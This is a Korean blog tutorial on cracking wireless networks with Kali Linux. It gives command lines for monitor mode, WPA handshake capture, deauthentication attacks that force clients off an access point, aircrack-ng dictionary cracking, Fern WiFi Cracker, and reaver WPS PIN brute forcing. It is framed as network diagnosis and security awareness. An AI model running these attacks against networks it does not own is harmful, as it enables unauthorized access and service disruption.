[Kail Linux] 무선 네트워크 해킹
■ 무선 네트워크 해킹 ■
1. 크래킹 기법
1-1. WEP 키 크래킹 (업데이트로 막힘)
1-2. WPA 키 크래킹
2. 기타 도구의 활용
2-1. Aircrack-ng GUI 버전
2-2. reaver : 무선 크랙 도구
대부분의 사람들은 스마트폰을 항상 손에서 놓지 않는다.
공공장소, 지하철, 편의점, 카페 등에서는 통신사별로 와이파이가 설치되어 있고
어디서든 무선 접속을 할 수 있는 환경이 마련되어 있다.
그리고 LTE 통신이 있더라도 가정집에서도 무선 AP를 설치해 가족이 함께 인터넷을 사용한다.
이 편리한 무선 네트워크가 정말 안전하지 않다는 것을 알고 있어야 한다.
무선 네트워크에 대한 보안 이슈가 이제 가정과 개인까지 전파되고 있다는 의미다.
보안 세미나에서도 모바일 보안에서 신뢰되지 않는 무선 AP 접속의 위험성에 대해 많이 강조하고 있다.
요즘에는 개인 스마트폰의 중요 정보를 얻기 위해서 동일한 무선 AP에 접속하거나 스마트폰에 악성 코드를 설치하게 한다.
일단 무선 네트워크를 기술적으로 진단하는 방법으로는
SSID 브로드캐스트, WEP 키 또는 WPA-PSK 크랙, 무선 전파 방해, 무선 AP 대상 DDoS 등이 있다
위 방법 중 일단 진단이 가능한데 까지 칼리리눅스 운영체제를 사용하여 시연을 하도록 하겠습니다.
1. 크래킹 기법
일단 시연을 하기에 앞서 암호화 기법에 대해서 알아보고 넘어가도록 하겠습니다.
- WEP / 대칭 벡터의 평문, 고정키 사용에 따른 RC4 키 갱신 부재 등으로 인해 키 길이에 상관없이 보안 기능이 취약
- WPA / WEP 헤더의 취약점을 해결하기 위한 대응책으로 개발됨 (TKIP, AES라는 IEEE 802.11i 보안 표준을 사용)
- TKIP은 순서 규칙이 있는 48비트 초기화 벡터(WEP은 24비트 초기화 벡터)를 이용 (키 재사용, 재생 공격 방지)
- AES는 128, 192, 256비트 등의 가변 키 크기를 갖는 수학적 암호화 알고리즘
암호화된 데이터는 AES 알고리즘의 키 없이 원래 데이터로 복호화 되는 것이 거의 불가능
[무선 네트워크 진단을 위한 무선 랜카드 추천]
ipTIME G054U-A
ipTIME N150UA_Solo(사용 중)
VM 환경에서 칼리 리눅스를 이용하신다면 USB 무선 랜카드를 구매하셔야 합니다.
VM 환경 칼리 리눅스는 내장 무선 랜카드도 인식을 못 하기 때문에
노트북에 직접 칼리 리눅스를 설치하시는 것이 아니라면 USB 무선 랜카드를 구매해 주셔야 합니다.
[VMWARE 사용자를 위한 칼리리눅스 USB WLAN 설정 방법]
1. VM -> Removable Devices -> Ralink 802.11 n WLAN -> Connect
2. (전원 버튼) -> (와이파이) Wi-Fi Not Connected -> Select Network
3. 자신의 네트워크 선택 -> 비밀번호 입력 및 확인
1-1. WEP 키 크래킹
업데이트로 자동으로 막혀버린 WEP 키 입니다!
다운그레이드 하다가 펌웨어 날려먹은 기억으로...(트라우마)로 인하여
추후에 WEP 키 크래킹 시연이 가능한 AP를 얻는다면 바로 수정하도록 하겠습니다!
1-2. WPA 키 크래킹
1. 자신의 'wlan0' 인터페이스를 확인하여 인터넷이 되는 것을 확인
(꼭 확인할 필요는 없지만 정상적으로 작동하는지 체크하시면 좋습니다) = 삽질 최소화
2. 관리 모드에서 모니터 모드로 전환 시켜주는 명령어를 입력합니다.
airmon-ng : 네트워크 설정
start
stop
airmon-ng start (무선 인터페이스)
3. 아래 사진처럼 나온다면 정상적으로 모니터 모드로 변환이 된 것
4. 게이트웨이 MAC를 기억해주세요
5. 모니터 모드로 전환된 무선 인터페이스와 '4번'에서 봤던 공격 할 AP의 MAC을 입력
airodump-ng : 덤프 파일
--bssid <bssid> : 대상 선택 - 액세스 포인트의 MAC
--ivs : ivs만 저장
--gpsd : 사용
--write (-w) : 덤프파일 write
--beacons : 모든 파일의 beacon 저장
--showack : ack, cts, rts 출력
-h : 숨김
--berlin : 패킷 미전송시 화면 제거 시간
-r <file name> : 해당 파일에서 패킷을 봄
-x : 스캐닝 스뮬레이션 시간
--output-format : 출력대상 삭제 ex)pcap, ivs, gps, kismat, nextml
-ignore-negative-one : 채널 인터페이스 수정 메시지 삭제
airodump-ng (모니터 모드 인터페이스) --bssid (공격 할 AP)
공격 당한 AP와 연결된 디바이스 MAC 목록과 상태가 나옵니다!
6. 이번에는 1채널을 사용하고 있는 AP를 공격해보도록 하겠습니다.
airodump-ng (모니터 모드 인터페이스) --channel (공격 할 채널)
7. 이번에는 공격할 AP의 WPA 인증 과정을 캡처하고 인증 패킷을 'test.cap' 파일에 저장하겠습니다.
airodump-ng (모니터 모드 인터페이스) --channel (공격 할 채널) -w (패킷 파일 이름).cap
캡처 과정이 끝나고 'ls' 명령어로 확인해본 결과
성공적으로 저장이 잘 되었네요.
8. AP에 연결되어 있는 스테이션에 DoS 공격을 하여 연결을 해제하게 한 다음 재결합 과정을 거치게 강제 유도 합니다.
aireplay-ng -0 5 -a (공격 할 AP) -c (모니터 모드 인터페이스 MAC) (모니터 모드 인터페이스)
9. 마지막으로 인증 패킷을 수집한 것을 사전 파일을 이용해 크래킹을 시도합니다.
aircrack-ng : 크랙 관련
공통 옵션
-a <amode> : 대입 공격 모드 (1/WEP, 2/WPA-PSK)
-e <essid> : 대상 선택 - 네트워크 ID
-b <bssid> : 대상 선택 - 액세스 포인트의 MAC
-p <nbcpu> : CPU 의 # 사용하기 (디폴트 : 모든 CPU)
-q : 침묵(Quiet) 모드 사용 (결과물 출력 하지 않음)
-C <macs> : 가상 하나에 지정된 응용 프로그램을 병합함
-l <file> : 파일에 키 쓰기
정적 WEP 크래킹 옵션
-c : 영숫자만 검색
-t : 10 진수 바이너리만 검색
-h : Fritz!BOX 키숫자 검색
-d <mask> : 키 마스킹 사용 (A1:XX:CF:YY)
-m <maddr> : 패킷 필터링을 쓸 수 있는 Mac 주소 지정
-n <nbits> : WEP 키 길이 - 64/128/152/256/512
-i <index> : WEP 키 인덱스 - 1 to 4 (디폴트 : Any)
-f <fudge> : bruteforce fudge factor (디폴트 : 2)
-k <korek> : 하나의 공격을 사용하지 않도록 설정 - 1 to 17
-x or -x0 : 마지막 키바이트에 대한 Brute force 해제
-x1 : 마지막 키바이트에 대한 Brute force (디폴트)
-x2 : 마지막 2 키바이트에 대한 Brete force 허용
-y : 단일 Brute force 모드 실험
-K : 단지 오래된 KoreK 공격 사용 (PTW 이전)
-s : 크래킹을 ASCII 키값으로 표시
-M <num> : 사용 IV 최대 수 지정
-D : WEP 은폐 (깨진 키스트림을 건너뜀)
-P <num> : PTW 디버그 (1 - Klein 사용 안함, 2 - PTW)
-1 : PTW 와 키값 해독을 위해 단지 1 실행함
WEP 와 WPA-PSK 크래킹 옵션
-w <words> : 사전파일 경로 지정
WPA-PSK 옵션
-E <file> : EWSA 프로젝트 파일 v3 생성
-J <file> : Hashcat 캡쳐 파일 생성
-S : WPA 크랙 테스트
-r <DB> : airolib-ng DB 경로 지정 (-w 옵션과는 같이 사용 못함)
기타 옵션
-u : CPU 의 # 와 MMX/SSE 지원을 표시
--help : 사용법 표시
aircrack-ng -b (공격 할 AP) -w (사전 파일) (패킷 파일 이름).cap-01.cap
무의미한 비밀번호라서 모자이크 처리를 하지 않았습니다.
(귀찮아서 하지 않았습니다.)
2. 기타 도구의 활용
2-1. Aircrack-ng GUI 버전(Fern WIFI Cracker)
1. 전 과정을 따라 오신 분들은 특별하게 명령어를 입력하셔야 되는 것이 있습니다.
모니터 모드로 되어 있던 무선 인터페이스를 '/etc/init.d/network-manager restart' 명령어를 입력하여
기본 모드로 강제로 되돌려 놓으셔야 합니다.
2. 칼리리눅스 기준으로 'Applications -> 06 - Wireless Attacks -> fern wifi cr...' 를 찾아서 실행 해주세요.
실행이 되셨다면 아래와 같은 창이 나옵니다.
과감하게 'Yes'를 눌러주세요!
3. 'Select Interface'를 누르시고 'wlan0'를 선택해주세요.
4. 무선 아이콘 'Scan for Access points'를 눌러주시면
주변에 있는 AP를 스캔합니다.
5. WIFI WPA 버튼을 눌러주세요. (11 Detected)
잠시 사전 파일을 수정하여 단어를 몇개 더 추가 시켰습니다.
6. 이 화면이 나타난다면 정상적으로 실행이 되는 것 입니다.
위 사진의 'Browse' 버튼을 누르면 아래 사진처럼 창이 하나 나타납니다.
사전 파일을 찾아서 등록을 해주세요.
사전 파일 등록을 끝내셨다면 공격 할 AP를 선택 하신 뒤 'WIFI Attack'를 클릭하시면 됩니다.
아래 처럼 WPA KEY : ********** 가 나온다면 정상적으로 크랙에 성공하신 겁니다.
7. 'Key Database'를 클릭하시면 크랙에 성공한 AP 정보가 나옵니다.
2-2. reaver : 무선 크랙 도구
무선 랜 공유기와 무선 랜 기기를 손쉽게 연결시켜 주는 WPS에 심각한 보안 위협이 있다고
공식적으로 미국 통신보안전문가 그룹인 'US-CERT'이 경고 했습니다.
그 취약점으로 PIN 인증 실패 시 반환되는 EAP-NACK 메시지에서 PIN의 일부분을 알아낼 수 있다는 것 입니다.
1. WPS의 PIN 번호를 알아내기 위해서 브루트포스 공격을 진행해야 되는데
공격 할 AP의 MAC 주소와 자신의 무선 랜 MAC 주소를 명령어 인자에 입력해야 합니다.
reaver -i (모니터 모드 인터페이스) (모니터 모드 인터페이스 MAC) -b (공격 할 AP) -vv
AP의 상태가 좋지 못해서 중도 포기 했습니다.
AP상태가 양호 하다면 40~50분 정도 기다리면 크랙이 정상적으로 됩니다.
제가 준비한 시연은 여기까지 입니다!
저의 포스팅을 읽어주셔서 감사합니다 :D
(2017-07-07)
easy-creds(종합 자동 도구)도 시연을 하려고 했지만...
다운로드도 중간에 멈춰버리고 에러도 장난 아니네요 흐흐... ㅠㅠ
무선 네트워크 진단에 관련된 정보를 더 얻거나 기회가 된다면
정보를 더 추가하도록 하겠습니다!